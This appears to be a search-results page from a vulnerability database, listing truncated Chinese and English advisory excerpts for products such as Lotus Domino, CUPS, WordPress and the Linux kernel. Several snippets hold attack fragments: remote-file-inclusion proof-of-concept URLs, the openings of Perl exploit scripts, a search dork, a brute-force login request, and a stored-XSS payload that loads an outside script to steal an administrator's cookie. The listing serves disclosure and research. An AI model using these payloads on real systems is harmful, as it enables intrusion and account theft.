56796 matches found
IBM Lotus Domino RPC操作拒绝服务漏洞
Bugtraq ID: 51167 CVE ID：CVE-2011-1393 IBM Lotus Domino服务器是一款基于WEB合作的应用程序架构。 IBM Lotus Domino处理某些RPC操作存在错误，可被利用进行拒绝服务攻击。 远程攻击者可以提交特制的Notes客户端报文使Lotus Domino服务器崩溃。 0 IBM Lotus Domino 8.5.2 IBM Lotus Domino 8.5 IBM Lotus Domino 8.0.2 Fix Pack 5 IBM Lotus Domino 8.0.2 IBM Lotus Domino 8.5.2 FP3 IBM...
Mozilla Firefox MFSA存在多个安全漏洞
Bugraq ID: 35758 CVE ID：CVE-2009-1194 CVE-2009-2462 CVE-2009-2463 CVE-2009-2464 CVE-2009-2465 CVE-2009-2466 CVE-2009-2467 CVE-2009-2468 CVE-2009-2469 CVE-2009-2471 CVE-2009-2472 CNCVE ID：CNCVE-20091194 CNCVE-20092462 CNCVE-20092463 CNCVE-20092464 CNCVE-20092465 CNCVE-20092466 CNCVE-20092467...
CUPS cups/ipp.c空指针引用拒绝服务漏洞
BUGTRAQ ID: 35169 CVECAN ID: CVE-2009-0949 Common Unix Printing System（CUPS）是一款通用Unix打印系统，是Unix环境下的跨平台打印解决方案，基于Internet打印协议，提供大多数PostScript和raster打印机服务。 在处理包含有两个IPPTAGUNSUPPORTED标签的特质IPP时，CUPS的cups/ipp.c文件中的ippReadIO函数没有正确地初始化ipp结构，这可能导致受影响的应用崩溃。 cups/ipp.c文件中的ippReadIO函数负责初始化表示当前IPP请求中不同标签的ipp结构...
DMXReady Contact Us Manager <= 1.1 Remote Contents Change Vuln
No description provided by source. Title : DMXReady Contact Us Manager = 1.1 Remote Contents Change Vulnerability Author : "ajann" from Turkey Contact : : S.Page : http://www.dmxready.com $$ : 49.97 $ Dork : inurl:inccontactusmanager.asp DorkEx :...
Podcast Generator <= 1.0 BETA 2 RFI / File Disclosure Vulnerabilities
No description provided by source. Podcast Generator = 1.0 BETA 2 RFI / File Disclosure Remote Vulnerabilities http://sourceforge.net/project/showfiles.php?groupid=163847 POC : I- Remote File Inclusion Vulnerabilities /podcastgen1.0beta2/components/xmlparser/loadparser.php?absoluteurl=shell...
PHP ZLink 'go.php' SQL注入漏洞
PHP ZLink是一款基于PHP的WEB应用程序。 PHP ZLink不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息或操作数据库。 问题是由于'go.php'脚本对用户提交的WEB参数处理缺少充分过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或操作数据库。 Zeak.net PHP ZLink 0.3 目前没有解决方案提供： http://www.zeak.net/ !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV3 print "\n \'/...
IPv6协议Type 0路由头拒绝服务漏洞
IPv6是Internet Protocol Version 6的缩写，也被称作下一代互联网协议，它是由IETF设计的用来替代现行的IPv4协议的一种新的IP协议。 OpenBSD和Cisco IOS系统在处理某些IPv6 type 0路由头时存在拒绝服务漏洞，如果向运行上述系统的设备发送了特制的IPv6报文的话，就可能导致设备崩溃。请注意这是IPv6协议本身的漏洞，与设备和软件无关。 Cisco IOS 12.4 Cisco IOS 12.3 Cisco IOS 12.2 Cisco IOS 12.1 Cisco IOS 12.0 OpenBSD OpenBSD 4.0 OpenBSD...
Macrovision InstallAnywhere绕过口令和序列号认证漏洞
InstallAnywhere是领先的多平台安装解决方案，提供完整的安装工具套件，以生成功能全面、灵活的安装程序。 InstallAnywhere在处理软件安装时存在竞争条件漏洞，本地攻击者可能利用此漏洞获取应用的非授权访问。...
Samba过多共享连接请求拒绝服务漏洞
Samba是一套实现SMB（Server Messages Block）协议、跨平台进行文件共享和打印共享服务的程序。 Samba的实现上存在意外情况处理失败的问题，远程攻击者可能利用此漏洞对Samba服务器执行拒绝服务攻击。 smbd守护程序维护着追踪文件和打印共享活动连接的内部数据结构。在某些环境下如果向smbd守护程序发送了大量的共享连接请求的话，就会导致持续增加smbd进程的内存占用率，造成拒绝服务。 Samba Samba 3.0.1 - 3.0.22 Debian ------ Debian已经为此发布了一个安全公告（DSA-1110-1）以及相应补丁:...
BBS E-Market Professional (Path Disclosure/Include) Multiple Vulns
No description provided by source. \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV06$2004 --------------------------------------------------------------------------- Multiple vulnerabilities 1n BBS E-Market Professional...
TikiWiki 1.9.5 Sirius (sort_mode) Information Disclosure Vulnerability
No description provided by source. /==========================================/ //tikiwiki version 1.9.5 CVS -Sirius- PoC // Product: Tikiwiki // URL: http://tikiwiki.org/ // RISK: critical /==========================================/ there's a critical security bug in tikiwiki version 1.9.5 CVS...
Retro64 CR64Loader ActiveX远程缓冲区溢出漏洞
CR64Loader对象是Retro64提供的一个ActiveX控件，用于提供在线游戏。 CR64Loader的实现上存在缓冲区溢出漏洞，如果用户受骗访问了恶意的WEB页面的话，就会触发这个漏洞，导致执行任意指令。 Retro64 CR64Loader 临时解决方法： 为以下CLSID设置kill bit： 288C5F13-7E52-4ADA-A32E-F5BF9D125F99 厂商补丁： Retro64 ------- 我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://retro64.com/...
Microsoft Exchange Server远程执行代码漏洞（CVE-2021-28482）
...
Windows: Global Reparse Point Security Feature Bypass/Elevation of Privilege(CVE-2018-0822)
Windows: Global Reparse Point Security Feature Bypass/Elevation of Privilege Platform: Windows 10 1709 functionality not present prior to this version Class: Security Feature Bypass/Elevation of Privilege Summary: It’s possible to use the new Global Reparse Point functionality introduced in Windo...
Ruby Fiddle::Function.new Heap Overflow Vulnerability(CVE-2016-2339)
DESCRIPTION An exploitable heap overflow vulnerability exists in the Fiddle::Function.new "initialize" function functionality of Ruby. In Fiddle::Function.new "initialize" heap buffer "argtypes" allocation is made based on args array length. Specially constructed object passed as element of args...
Broadcom: OOB write when handling 802.11k Neighbor Report Response(CVE-2017-11120)
Broadcom produces Wi-Fi HardMAC SoCs which are used to handle the PHY and MAC layer processing. These chips are present in both mobile devices and Wi-Fi routers, and are capable of handling many Wi-Fi related events without delegating to the host OS. In order to allow fast roaming between access...
WordPress 4.2.0-4.5.1 flashmediaelement.swf 反射型 XSS 漏洞
漏洞概述 WordPress 于 2016 年 5 月 6 号发布新版本 4.5.2,其中修了一 个反射型 XSS 漏洞,直接影响 4.2.0 至 4.5.1 版本。该反射型 XSS 源 于 WordPress 一个处理媒体的插件 MediaElement,攻击者能够构 造恶意 Payload,使之解析媒体文件时触发 XSS 下面的分析部分来源：https://midzer0.github.io/2016/wordpress-4.5.1-xss/ Source Code Preparation 一般来说, 开源CMS所使用的Flash文件也都来自其他的开源项目,...
金蝶企业移动管理云暴力破解+弱口令
简要描述： 如题，金蝶企业移动管理云暴力破解+弱口令，未加验证码和默认口令 详细说明： 问题网址：http://mcloud.kingdee.com/mcloud/pages/ POST /mcloud/dwr/call/plaincall/custLoginService.login.dwr HTTP/1.1 Host: mcloud.kingdee.com Proxy-Connection: keep-alive Content-Length: 301 Origin: http://mcloud.kingdee.com User-Agent: Content-Type:...
Adobe Acrobat Reader and Flash Player - “newclass” invalid pointer
No description provided by source. ''' | / |/ \ /\ | | | | \ | \ / | | | | / \ | | | | | | | |/| | | | |/ /\ | | | | Day 1 Binary Analysis | | | | || / \ || | | | || ||// \/|/ http://www.exploit-db.com/adobe-acrobat-newclass-invalid-pointer-vulnerability/...
GNU C library dynamic linker LD_AUDIT arbitrary DSO load Vulnerability
No description provided by source. from: http://marc.info/?l=full-disclosure&m=128776663124692&w=2 The GNU C library dynamic linker will dlopen arbitrary DSOs during setuid loads ------------------------------------------------------------------------------- Cześć, This advisory describes...
Veryide 2.1 /library.php SQL注入漏洞
No description provided by source...
Linux Kernel空指针间接引用本地拒绝服务漏洞
Bugtraq ID:66543 CVE ID:CVE-2014-2678 Linux Kernel是一款开源的操作系统。 Linux kernel net/rds/iw.c中的函数rdsiwladdrcheck存在本地拒绝服务漏洞，本地用户通过盲系统调用没有RDS传输的系统上的RDS套接字，利用此漏洞可造成空指针间接引用和系统崩溃。 0 Linux kernel 3.x 目前厂商已经发布了升级补丁以修复漏洞，请下载使用： http://www.kernel.org/...
程氏舞曲CMS最新版存储型XSS（已劫持到官网管理员）
简要描述： 通过最新版存储型XSS，已成功劫持到管理员cookie，并成功登录到官方演示站后台 P.S.管理员用的电脑是：土豪MAC！ 详细说明： 在会员中心-设置-昵称修改，发现已经过滤了，但是发现只过滤了一层，于是将写成ipt，保存后发现xss成功了 于是X入了这条语句，Jim叔叔ipt src=http://126.am/SlQop0ript，发现文本框有长度限制，但是只是前台的一个限制，修改了一下html提交保存成功！ 跳转到会员首页查看源代码 然后我添加了一首歌，在管理员审核的时候就劫持到了管理员的cookie 漏洞证明： 伪造成管理员的cookie后，成功登入歌曲管理后台...
OpenSSL DTLS中间人攻击多个安全措施绕过漏洞
BUGTRAQ ID: 64618 CVECAN ID: CVE-2013-6450 OpenSSL是一种开放源码的SSL实现，用来实现网络通信的高强度加密，现在被广泛地用于各种网络应用程序中。 OpenSSL 0.9.8y, 1.0.0-1.0.1e的DTLS中继实现中，摘要及加密上下文的数据结构没有被正确维护，可使中间人攻击者通过干涉数据包传输（相关ssl/d1both.c、ssl/t1enc.c），使用不同的上下文，获取敏感信息。 0 OpenSSL Project OpenSSL 1.0.0 厂商补丁： OpenSSL Project ---------------...
Drupal CKEditor模块任意代码执行漏洞
Drupal是一款开源CMS，可以作为各种网站的内容管理平台。 DrupalCKEditor模块存在一个未明安全漏洞，当启用core php模块时，允许远程通过验证的用户或远程攻击者通过文本过滤器中的text参数执行任意PHP代码。 0 Drupal CKEditor Module 6.x Drupal CKEditor Module 7.x Drupal FCKeditor Module 6.x 厂商解决方案 Drupal CKEditor Module 6.x-2.3, CKEditor Module 6.x-1.9,CKEditor Module...
Linux Kernel "journal_get_superblock()"拒绝服务漏洞
CVE ID: CVE-2011-4132 Linux是自由电脑操作系统内核。 Linux Kernel在实现上存在两个漏洞，可被本地用户利用造成拒绝服务。 漏洞源于"journalgetsuperblock"函数fs/jbd/journal.c and fs/jbd2/journal.c中的错误，可通过加载特制的ext3图形触发"BUGON"。 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.kernel.org/...
phpMyAdmin 3.x 多个安全漏洞
CVE ID: CVE-2011-2505,CVE-2011-2506,CVE-2011-2507,CVE-2011-2508 phpMyAdmin是用PHP编写的工具，用于通过WEB管理MySQL。 phpMyAdmin在实现上存在多个漏洞，可被恶意用户利用泄露敏感信息并控制受影响系统。 1）libraries/auth/swekey/swekey.auth.lib.php中的"Swekeylogin"函数中存在错误，可被利用覆盖会话变量并注入和执行任意PHP代码；...
IBM WebSphere应用服务器default_create.log信息泄露漏洞
BUGTRAQ ID: 40694 CVE ID: CVE-2010-2323 IBM Websphere应用服务器以Java和Servlet引擎为基础，支持多种HTTP服务，可帮助用户完成从开发、发布到维护交互式的动态网站的所有工作。 在目标系统上使用zPMT和BBOWWPFx任务模板创建配置文件的时候，可能会向defaultcreate.log日志中写入敏感信息。 IBM Websphere Application Server 7.0.x 厂商补丁： IBM --- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
JDownloader JDExternInterface.java远程代码执行漏洞
BUGTRAQ ID: 38143 JDownloader是专为Rapidshare等站点设计的网盘下载工具。 JDownloader在下载过程中所传输的密钥可能为明文或JavaScript代码，之后在Mozilla Rhino Javascript实现中执行。以下是相关代码: （plugins/JDExternInterface.jar/JDExternInterface.java）： String jk = Encoding.urlDecoderequest.getParameters.get"jk", false; ... Context cx = Context.enter;...
NTP ntpq命令远程栈溢出溢出漏洞
BUGTRAQ ID: 34481 CVECAN ID: CVE-2009-0159 NTP（Network Time Protocol）是用于通过网络同步计算机时钟的协议。 ntpq程序中存在栈溢出漏洞。如果用户使用ntpq命令从远程时间服务器请求了对等端信息且服务器返回了恶意响应的话，就可能触发这个溢出。由于溢出仅限于两个字节，因此最可能的结果是拒绝服务。 University of Delaware NTP 4.2.4 厂商补丁： University of Delaware ----------------------...
w3blabor CMS 3.0.5 Arbitrary File Upload & LFI Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; use HTTP::Request::Common qwPOST; use Getopt::Long; '/ -.- ------------------oOO------OOo----------------- | | | / / / / | | / / / / / / / / / / / | | // // / / / // / // / // | | ///,// /./,/, // | | Security Research...
Linux Kernel lbs_process_bss()函数远程拒绝服务漏洞
BUGTRAQ ID: 32484 CVECAN ID: CVE-2008-5134 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的libertas子系统的drivers/net/wireless/libertas/scan.c文件中，lbsprocessbss函数存在缓冲区溢出漏洞。如果远程AP向系统发送了无效的beacon/probe响应的话，就可能触发这个溢出，导致拒绝服务的情况。 Linux kernel 2.6.27.5 Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
HFS HTTP File Server多个远程安全漏洞
BUGTRAQ ID: 27423 CVECAN ID: CVE-2008-0405,CVE-2008-0406,CVE-2008-0407,CVE-2008-0408,CVE-2008-0409,CVE-2008-0410 HTTP File Server是用于共享文件的开源HTTP服务器。 HFS没有正确地记录某些输入，用户可以在登陆时伪造用户名将任意内容注入到日志文件中。 HFS没有正确地过滤某些输入便将其返回给了用户，这可能导致在受影响服务器的用户浏览器会话中执行任意HTML和脚本代码。...
Sentinel Protection Server/Keys Server远程目录遍历漏洞
BUGTRAQ ID: 26583 Sentinel Protection Server和Sentinel Keys Server都是SafeNet公司推出的网络加密解决方案。 Sentinel Protection Server和Sentinel Keys Server的Web Server实现上存在输入验证漏洞，远程攻击者可能利用此漏洞执行目录遍历攻击。 Sentinel Protection Server和Sentinel Keys Server分别在6002和7002端口上运行Web...
Wordpress XMLRPC.PHP SQL注入漏洞
Wordpress是一款基于PHP的WEB应用程序。 Wordpress不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，获得敏感信息。 问题是'XMLRPC.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息。 WordPress WordPress 2.2 目前没有解决方案提供： http://wordpress.org/ http://www.sebug.net/show-exp-1993.html...
iPhotoAlbum 1.1 (header.php) Remote File Include Vulnerability
No description provided by source. iPhotoAlbum v1.1header.phpRemote File Include Vulnerability D.Script: http://sourceforge.net/projects/iphotoalbum/ Discovered by: GloDM = Mahmoodali Homepage: http://www.Tryag.cc V.Code Exploit:Path/lib/static/header.php?setmenu=SheLL Greetz To: Tryag-Team &...
FileZilla Options和QueueCTRL模块多个未明缓冲区溢出漏洞
FileZilla是一款免费的FTP 客户端软件。 FileZilla包含的Transfer队列和使用注册表存储设置存在缓冲区溢出，远程攻击者可以利用漏洞进行拒绝服务或任意代码执行攻击。 目前没有详细漏洞细节提供。 FileZilla 2.2.30 FileZilla 2.2.29 FileZilla 2.2.28 FileZilla 2.2.28 FileZilla 2.2.27 FileZilla 2.2.26 FileZilla 2.2.25 FileZilla 2.2.24 FileZilla 2.2.23 FileZilla 2.2.22 FileZilla 2.2.22...
Cisco HyperFlex HX 未授权文件上传漏洞（CVE-2021-1499 ）
Technical Analysis CVE-2021-1499 Arbitrary file upload RCE implied in the /upload endpoint. Patch --- unpatched/springpath.conf 2021-05-17 19:06:17.000000000 -0500 +++ patched/springpath.conf 2021-05-17 19:06:23.000000000 -0500 @@ -36,14 +36,7 @@ include uwsgiparams; - location /crossdomain.xml -...
weblogic 代码执行漏洞（CVE-2021-2135）
...
Attackers can steal all of Ether in ROC (Rasputin Online Coin) token smart contract (CVE-2018–10944)
Abstract I found a vulnerability of a smart contract for ROC aka Rasputin Online Coin, an Ethereum ERC20 token CVE-2018–109441. The requestdividend function has a critical bug similar to Reentrancy attack. Attackers can call the function in multiple times to steal Ether constantly until all of th...
SCADAS "BAS920 & ISC2000" Credentials Exposed(CVE-2017-17974)
Exploit; SCADAS "BAS920 & ISC2000"; Credentials Exposed BA System “Improper Access Control Authorization” Exploit Title: "SCADAS "BAS920 & ISC2000"; Credentials Exposed” CVE: CVE-2017-17974 Date: 29/12/2017 Exploit Author: Fernandez Ezequiel @capitanalfa && Bertin Jose @bertinjoseb Vendor: BA...
Ichano AtHome IP Cameras Multiple Vulnerabilities
Vulnerabilities Summary The following advisory describes three 3 vulnerabilities found in Ichano IP Cameras. AtHome Camera is “a remote video surveillance app which turns your personal computer, smart TV/set-top box, smart phone, and tablet into a professional video monitoring system in a minute....
TPshop 前台SQL注入#2
0x01 说明 TPshop开源商城系统 Thinkphp shop的简称 ，是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城，系统PC+后台是基于ThinkPHP5 MVC构架开发的跨平台开源软件，设计得非常灵活，具有模块化架构体系和丰富的功能，易于与第三方应用系统无缝集成，在设计上，包含相当全面，以模块化架构体系，让应用组合变得相当灵活，功能也相当丰富。 下载地址：http://www.tp-shop.cn/Index/Index/download.html 目录大概结构 ├─index.p...
GNOME libsoup HTTP Chunked Encoding Remote Code Execution Vulnerability(CVE-2017-2885)
Summary An exploitable stack based buffer overflow vulnerability exists in the GNOME libsoup 2.58. A specially crafted HTTP request can cause a stack overflow resulting in remote code execution. An attacker can send a special HTTP request to the vulnerable server to trigger this vulnerability...
OURPHP注册页面SQL注入漏洞
No description provided by source...
Synology Photo Station Unauthenticated Remote Code Execution
Vulnerability Summary The following advisory describes a Remote Code Execution found in Synology Photo Station versions 6.7.3-3432 and earlier / 6.3-2967 and earlier. Personal Photo Station is an online photo album with blog owned and managed by a DSM user. Synology NAS provides the home/photo...
AMF3 Java implementations deserialization Vulnerability
Details reference: https://codewhitesec.blogspot.kr/2017/04/amf.html Some Java implementations of AMF3 deserializers derive class instances from java. io. Externalizable rather than the AMF3 specification's recommendation of a flash. utils. IExternalizable. A remote attacker with the ability to...
MetInfo5.3.15 存储型 XSS 漏洞（CVE-2017-6878）
Vulnerability details： To modify, add a message in problem position insert JavaScript test code Then the background access to relevant pages, or other users access to the front desk page will make the attack code is executed. E-mail：callarice 163 com DBAppSecurity Ltd www.dbappsecurity.com.cn POC...